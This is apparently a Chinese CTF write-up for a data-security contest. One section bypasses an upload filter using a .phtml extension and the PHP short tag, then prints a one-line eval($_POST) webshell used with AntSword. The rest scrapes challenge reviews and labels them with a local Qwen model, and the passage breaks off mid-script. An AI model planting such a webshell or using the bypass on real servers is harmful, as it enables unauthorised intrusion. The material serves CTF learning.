IPZw7fmUdl1/wBA7S/++TVuEEQLvjjjkycpEMIB7U+is6mIq1Vyzd16L9EUoxWyCiiisBhSUtFABRRRQAlFLRQAlFFFABRRRQAUUUZoAsUUUUCEpQSpypIPtSUUAFFFFMAooooAKQ0tFIBKKWjt70DEooooAKKKKBCUU53aRy7nLMck0lAxKKKKBBRRRTAKSlopDEopaSmIKKKKBhRRRSAKKKp3EKXN7HHLdPbxiGSTKyBNxGMDJ4rKtVVKHOyoqLTcnZJX7lzFJWEkv2DWVjvpbgWqTDcGkDEoVyORwQeOlWNTvodR1JRY3DxW+FVmU/dGTz/KuX6/qvd073/4Bt7KHMkm7NXvbT8zWxSYrCu4pLBrVvts8qToJCGJBC78frg1Lqz+TaWc0DyxtMZuPMJBVeB/Wj68ukfx/wCAEaVKUoJSfveXr5+RsUVz8s066dp0wmfMjuGO484C9fzqfy7iLRbG4eSXfLchSSx5BHSh45fy/j/wBqlTai+Z+82tu3zNyRERIisgdnXLKB9w5PH5c/jTKD1orvOZhSUtFMApKWikAlFLSUwCiiikAY4/pRRRQAUUUUAJS0UUAJRS0lABRRRQAUUUUAOUKd25tuFyOM5PpTaKKACiiigApKWigApKWigBKKKKALFFFFMAooooEFFFFIBKKKKACiilLE4z2GBQAlFFFAwpKWkoEFFFFMAooopAFJS0UDEooopgFFFFABRRRSEFIaWkpjCiiikAVVuoJpJkeEWzAKVZZ4w4PIPT8KtUVFSmqkeWRUJcvS9zKOm3cl4LmeeF3DhsBcKABgAD0HpU2q6aLu4ElmViHlqrbxyzDOTx9R+VX6K5/qVO63Nfb+8pKK0Vuu33mXqGm3N9IjtLEvlwpEowcDbilvdNnvIrOMyxqLaExdD8xOcn9a06Kf1On5hGvy8tor3dt/8AMzm01zpdra703QuzFuxyB/hVueJp9FtbIkB4JUk3diAMYqaik8DSfcn2q933Vo7rff7wJzjjFJS0V1mYlFFFAgooooACCACR15FJS0UAFJS0UwEooopAFFFFABRRRQAUUUUAFFFFACUUtFACUUUUAFFFFABRRRTAKKKKQBRRRQBYpKWigQlFLSUDCijoaKBBRRRQMSilpKYgooopAFFLn5CMDk9fSkoASiijvTAKKKKACiiikAUUUUDEopaKYCUUUUCCiiigYUlLR2pAJRSiigBKKKKACiiigAooopgFFFHSkAlFLR9aAEopaSgAooooAKO9FFABRRRQAUUUUAJRRS0AJRR0opgFFFFIAooooAKSlooASipIpDDMkihSynIDDI/EVGODnPNACkEHB6ikpe9JQAUUUUwCiilxSA//2Q=="></p><p>明显考察的是文件上传漏洞，按顺序一个个试，先上传了个txt和png、jpg，都不行，然后试试php，也不行，看来对文件后缀的过滤很严格。最后测试phtml可以实现绕过</p><p>直接上传<code>&lt;?php</code>发现会被拦截，经测试用短标签<code>&lt;?=</code>可以绕过</p><p>参考链接：<a href="https://blog.csdn.net/m0_53008479/article/details/123366077">https://blog.csdn.net/m0_53008479/article/details/123366077</a></p><p>挂马 <strong>te.phtml</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#te.phtml</span></span><br><span class="line"><span class="meta">&lt;?=</span><span class="keyword">eval</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;ant&#x27;</span>])<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330154104-ud1x272-1743321678825-35.png"></p><p>蚂剑连接找到rsa文件夹</p><p><strong>&#x2F;var&#x2F;www&#x2F;rssss4a</strong></p><h1 id="模型安全"><a href="#模型安全" class="headerlink" title="模型安全"></a>模型安全</h1><h2 id="数据预处理"><a href="#数据预处理" class="headerlink" title="数据预处理"></a>数据预处理</h2><p>网页数据需要从原始 HTML 结构，每个商品的链接为</p><p><code>http://47.117.186.154:32903/index.php?controller=product&amp;action=detail&amp;id=&lt;:id&gt;</code></p><p>id 为 1-500 的纯数字，因为有情感色彩分析，考虑用本地 ollama</p><p>先写一个数据抓取脚本，来抓取数据</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> csv</span><br><span class="line"><span class="keyword">import</span> httpx</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"></span><br><span class="line">data_list = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> tqdm(<span class="built_in">range</span>(<span class="number">1</span>, <span class="number">501</span>)):</span><br><span class="line">    html_content = httpx.get(<span class="string">f&quot;http://47.117.186.154:32903/index.php?controller=product&amp;action=detail&amp;id=<span class="subst">&#123;i&#125;</span>&quot;</span>).text</span><br><span class="line">    soup = BeautifulSoup(html_content, <span class="string">&#x27;html.parser&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 获取商品信息</span></span><br><span class="line">    product_name_element = soup.find(<span class="string">&#x27;section&#x27;</span>, class_=<span class="string">&#x27;product-detail&#x27;</span>).find(<span class="string">&#x27;h2&#x27;</span>)</span><br><span class="line">    product_name = product_name_element.text.strip() <span class="keyword">if</span> product_name_element <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    product_price_element = soup.find(<span class="string">&#x27;span&#x27;</span>, <span class="built_in">id</span>=<span class="string">&#x27;productPrice&#x27;</span>)</span><br><span class="line">    product_price = product_price_element.text.strip() <span class="keyword">if</span> product_price_element <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    product_sales_element = soup.find(<span class="string">&#x27;span&#x27;</span>, <span class="built_in">id</span>=<span class="string">&#x27;productSales&#x27;</span>)</span><br><span class="line">    product_sales = product_sales_element.text.strip() <span class="keyword">if</span> product_sales_element <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    product_description_element = soup.find(<span class="string">&#x27;div&#x27;</span>, class_=<span class="string">&#x27;product-description&#x27;</span>).find(<span class="string">&#x27;p&#x27;</span>)</span><br><span class="line">    product_description = product_description_element.text.strip() <span class="keyword">if</span> product_description_element <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 商品ID</span></span><br><span class="line">    product_id = i</span><br><span class="line">    data_list.append(&#123;</span><br><span class="line">        <span class="string">&#x27;商品ID&#x27;</span>: product_id,</span><br><span class="line">        <span class="string">&#x27;商品名称&#x27;</span>: product_name,</span><br><span class="line">        <span class="string">&#x27;商品销量&#x27;</span>: product_sales,</span><br><span class="line">        <span class="string">&#x27;商品价格&#x27;</span>: product_price,</span><br><span class="line">        <span class="string">&#x27;商品描述&#x27;</span>: product_description,</span><br><span class="line">        <span class="string">&#x27;用户ID&#x27;</span>: -<span class="number">1</span>,</span><br><span class="line">        <span class="string">&#x27;用户名&#x27;</span>: <span class="string">&quot;Luminoria&quot;</span>,</span><br><span class="line">        <span class="string">&#x27;电话&#x27;</span>: <span class="string">&quot;1145141919810&quot;</span>,</span><br><span class="line">        <span class="string">&#x27;UA&#x27;</span>: <span class="string">&quot;NOT_A_UA&quot;</span>,</span><br><span class="line">        <span class="string">&#x27;评论内容&#x27;</span>: <span class="string">&quot;NO_COMMENT&quot;</span></span><br><span class="line">    &#125;)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 获取评论信息</span></span><br><span class="line">    reviews = soup.find(<span class="string">&#x27;section&#x27;</span>, class_=<span class="string">&#x27;product-reviews&#x27;</span>).find_all(<span class="string">&#x27;div&#x27;</span>, class_=<span class="string">&#x27;review-item&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> review <span class="keyword">in</span> reviews:</span><br><span class="line">        reviewer_info = review.find(<span class="string">&#x27;div&#x27;</span>, class_=<span class="string">&#x27;reviewer-info&#x27;</span>)</span><br><span class="line">        user_id_element = reviewer_info.find(<span class="string">&#x27;span&#x27;</span>, class_=<span class="string">&#x27;user-id&#x27;</span>)</span><br><span class="line">        user_id = user_id_element.text.replace(<span class="string">&#x27;用户ID：&#x27;</span>, <span class="string">&#x27;&#x27;</span>).strip() <span class="keyword">if</span> user_id_element <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">        username_element = reviewer_info.find(<span class="string">&#x27;span&#x27;</span>, class_=<span class="string">&#x27;reviewer-name&#x27;</span>)</span><br><span class="line">        username = username_element.text.replace(<span class="string">&#x27;用户名：&#x27;</span>, <span class="string">&#x27;&#x27;</span>).strip() <span class="keyword">if</span> username_element <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">        phone_element = reviewer_info.find(<span class="string">&#x27;span&#x27;</span>, class_=<span class="string">&#x27;reviewer-phone&#x27;</span>)</span><br><span class="line">        phone = phone_element.text.replace(<span class="string">&#x27;联系电话：&#x27;</span>, <span class="string">&#x27;&#x27;</span>).strip() <span class="keyword">if</span> phone_element <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">        ua_element = reviewer_info.find(<span class="string">&#x27;span&#x27;</span>, class_=<span class="string">&#x27;user-agent&#x27;</span>)</span><br><span class="line">        ua = ua_element.text.replace(<span class="string">&#x27;使用设备：&#x27;</span>, <span class="string">&#x27;&#x27;</span>).strip() <span class="keyword">if</span> ua_element <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">        review_content_element = review.find(<span class="string">&#x27;div&#x27;</span>, class_=<span class="string">&#x27;review-content&#x27;</span>)</span><br><span class="line">        review_content = review_content_element.text.strip() <span class="keyword">if</span> review_content_element <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">        data_list.append(&#123;</span><br><span class="line">            <span class="string">&#x27;商品ID&#x27;</span>: product_id,</span><br><span class="line">            <span class="string">&#x27;商品名称&#x27;</span>: product_name,</span><br><span class="line">            <span class="string">&#x27;商品销量&#x27;</span>: product_sales,</span><br><span class="line">            <span class="string">&#x27;商品价格&#x27;</span>: product_price,</span><br><span class="line">            <span class="string">&#x27;商品描述&#x27;</span>: product_description,</span><br><span class="line">            <span class="string">&#x27;用户ID&#x27;</span>: user_id,</span><br><span class="line">            <span class="string">&#x27;用户名&#x27;</span>: username,</span><br><span class="line">            <span class="string">&#x27;电话&#x27;</span>: phone,</span><br><span class="line">            <span class="string">&#x27;UA&#x27;</span>: ua,</span><br><span class="line">            <span class="string">&#x27;评论内容&#x27;</span>: review_content</span><br><span class="line">        &#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 写入 CSV 文件</span></span><br><span class="line">csv_file_path = <span class="string">&#x27;data.csv&#x27;</span></span><br><span class="line">csv_columns = [<span class="string">&#x27;商品ID&#x27;</span>, <span class="string">&#x27;商品名称&#x27;</span>, <span class="string">&#x27;商品销量&#x27;</span>, <span class="string">&#x27;商品价格&#x27;</span>, <span class="string">&#x27;商品描述&#x27;</span>, <span class="string">&#x27;用户ID&#x27;</span>, <span class="string">&#x27;用户名&#x27;</span>, <span class="string">&#x27;电话&#x27;</span>, <span class="string">&#x27;UA&#x27;</span>, <span class="string">&#x27;评论内容&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(csv_file_path, <span class="string">&#x27;w&#x27;</span>, newline=<span class="string">&#x27;&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> csvfile:</span><br><span class="line">    writer = csv.DictWriter(csvfile, fieldnames=csv_columns)</span><br><span class="line">    writer.writeheader()</span><br><span class="line">    writer.writerows(data_list)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;数据已保存到 <span class="subst">&#123;csv_file_path&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p>得到一个含有所有内容的 csv 文件，然后拿着这个 CSV 做题</p><h3 id="数据标注与完整性校验-Luminoria"><a href="#数据标注与完整性校验-Luminoria" class="headerlink" title="数据标注与完整性校验 | @Luminoria"></a>数据标注与完整性校验 | @Luminoria</h3><blockquote><p>任务一（数据标注与完整性校验）：针对在线团购平台提供的原始用户评论数据，爬取用户评论数据，进行情感标注（正面&#x2F;负面），并基于用户ID、用户名、手机号生成MD5签名以校验完整性。按附件模板和任务书要求提交处理后的submit_1.csv文件进行评分。</p></blockquote><p>用 qwen 进行情感判断</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> csv</span><br><span class="line"><span class="keyword">import</span> ollama</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_sentiment_from_ollama</span>(<span class="params">text</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    使用本地 Ollama 模型识别文本的情感色彩 (正面/负面)。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        text (str): 要分析的文本。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Returns:</span></span><br><span class="line"><span class="string">        int: 1 代表正面情感，0 代表负面情感，None 代表无法确定或出错。</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    prompt = <span class="string">f&quot;请分析以下评论的情感色彩，判断是正面还是负面。如果评论是正面的，请回答 &#x27;正面&#x27;，如果是负面的，请回答 &#x27;负面&#x27;。只返回 &#x27;正面&#x27; 或 &#x27;负面&#x27; 两个词，如果你认为是中性的，你应该回答 &#x27;正面&#x27;\n评论内容：\n<span class="subst">&#123;text&#125;</span>\n情感色彩:&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = ollama.chat(model=<span class="string">&#x27;qwen2.5:7B&#x27;</span>, messages=[</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="string">&#x27;role&#x27;</span>: <span class="string">&#x27;user&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;content&#x27;</span>: prompt,</span><br><span class="line">            &#125;,</span><br><span class="line">            </span><br><span class="line">        ])</span><br><span class="line">        sentiment_label = response[<span class="string">&#x27;message&#x27;</span>][<span class="string">&#x27;content&#x27;</span>].strip()</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;正面&quot;</span> <span class="keyword">in</span> sentiment_label:</span><br><span class="line">            <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">        <span class="keyword">elif</span> <span class="string">&quot;负面&quot;</span> <span class="keyword">in</span> sentiment_label:</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Ollama 无法识别情感: <span class="subst">&#123;sentiment_label&#125;</span>, 评论文本: <span class="subst">&#123;text&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Ollama 调用出错: <span class="subst">&#123;e&#125;</span>, 评论文本: <span class="subst">&#123;text&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">calculate_signature</span>(<span class="params">user_id, username, phone</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    计算用户签名，使用 MD5 运算。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        user_id (str): 用户ID.</span></span><br><span class="line"><span class="string">        username (str): 用户名.</span></span><br><span class="line"><span class="string">        phone (str): 用户手机号.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Returns:</span></span><br><span class="line"><span class="string">        str: MD5 签名字符串.</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    signature_string = <span class="built_in">str</span>(user_id) + username + phone</span><br><span class="line">    md5_hash = hashlib.md5(signature_string.encode(<span class="string">&#x27;utf-8&#x27;</span>)).hexdigest()</span><br><span class="line">    <span class="keyword">return</span> md5_hash</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">process_comments_and_sentiment</span>(<span class="params">input_csv_file, output_csv_file</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    从 data.csv 中读取评论数据，进行情感分析，并保存结果到 q1.csv。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        input_csv_file (str): 输入 CSV 文件路径 (data.csv).</span></span><br><span class="line"><span class="string">        output_csv_file (str): 输出 CSV 文件路径 (q1.csv).</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    output_data = []</span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(input_csv_file, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> infile:</span><br><span class="line">        reader = csv.DictReader(infile)</span><br><span class="line">        <span class="keyword">for</span> row <span class="keyword">in</span> tqdm(reader):</span><br><span class="line">            user_id = row[<span class="string">&#x27;用户ID&#x27;</span>]</span><br><span class="line">            username = row[<span class="string">&#x27;用户名&#x27;</span>]</span><br><span class="line">            phone = row[<span class="string">&#x27;电话&#x27;</span>]</span><br><span class="line">            review_content = row[<span class="string">&#x27;评论内容&#x27;</span>]</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> username == <span class="string">&quot;Luminoria&quot;</span>:<span class="comment"># 提取数据时产生的占位行，要忽略</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">            sentiment_label = get_sentiment_from_ollama(review_content)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> sentiment_label <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">                signature = calculate_signature(user_id, username, phone)</span><br><span class="line">                output_data.append(&#123;</span><br><span class="line">                    <span class="string">&#x27;user_id&#x27;</span>: user_id,</span><br><span class="line">                    <span class="string">&#x27;label&#x27;</span>: sentiment_label,</span><br><span class="line">                    <span class="string">&#x27;signature&#x27;</span>: signature</span><br><span class="line">                &#125;)</span><br><span class="line"></span><br><span class="line">    csv_columns = [<span class="string">&#x27;user_id&#x27;</span>, <span class="string">&#x27;label&#x27;</span>, <span class="string">&#x27;signature&#x27;</span>]</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(output_csv_file, <span class="string">&#x27;w&#x27;</span>, newline=<span class="string">&#x27;&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> outfile:</span><br><span class="line">        writer = csv.DictWriter(outfile, fieldnames=csv_columns)</span><br><span class="line">        writer.writeheader()</span><br><span class="line">        writer.writerows(output_data)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;评论情感分析完成，结果已保存到 <span class="subst">&#123;output_csv_file&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    input_csv_file = <span class="string">&#x27;data.csv&#x27;</span></span><br><span class="line">    output_csv_file = <span class="string">&#x27;q1.csv&#x27;</span></span><br><span class="line">    process_comments_and_sentiment(input_csv_file, output_csv_file)</span><br></pre></td></tr></table></figure><p>得到 <code>q1.csv</code> 改名 <code>submit_1.csv</code> 交了就行</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330154814930-1743321678825-26.png"></p><h3 id="数据清洗及特征工程-Luminoria"><a href="#数据清洗及特征工程-Luminoria" class="headerlink" title="数据清洗及特征工程 | @Luminoria"></a>数据清洗及特征工程 | @Luminoria</h3><p>一样是使用 qwen2.5-7B 进行分类判断，其他正常清洗即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> csv</span><br><span class="line"><span class="keyword">import</span> ollama</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_category_id_from_ollama</span>(<span class="params">product_name, category_list_str</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    使用本地 Ollama 模型根据商品名称获取最合适的分类 ID。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        product_name (str): 商品名称.</span></span><br><span class="line"><span class="string">        category_list_str (str): 分类列表字符串.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Returns:</span></span><br><span class="line"><span class="string">        str: 最合适的分类 ID，如果无法确定则返回 None.</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    prompt = <span class="string">f&quot;请根据商品名称 &#x27;<span class="subst">&#123;product_name&#125;</span>&#x27;，从以下分类列表中选择最合适的分类ID。只返回ID数字，不要返回其他文字。\n分类列表:\n<span class="subst">&#123;category_list_str&#125;</span>\n分类ID:&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = ollama.chat(model=<span class="string">&#x27;qwen2.5:7b&#x27;</span>, messages=[</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="string">&#x27;role&#x27;</span>: <span class="string">&#x27;user&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;content&#x27;</span>: prompt,</span><br><span class="line">            &#125;,</span><br><span class="line">        ])</span><br><span class="line">        category_id = response[<span class="string">&#x27;message&#x27;</span>][<span class="string">&#x27;content&#x27;</span>].strip()</span><br><span class="line">        <span class="keyword">if</span> category_id.isdigit():</span><br><span class="line">            <span class="keyword">return</span> category_id</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Ollama 返回的分类ID不是数字: <span class="subst">&#123;category_id&#125;</span>, 商品名称: <span class="subst">&#123;product_name&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Ollama 调用出错: <span class="subst">&#123;e&#125;</span>, 商品名称: <span class="subst">&#123;product_name&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">clean_data_and_categorize</span>(<span class="params">input_csv_file, output_csv_file</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    读取 data.csv 文件，进行数据清洗、商品分类和聚合，并将结果保存到 q2.csv 文件。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        input_csv_file (str): 输入 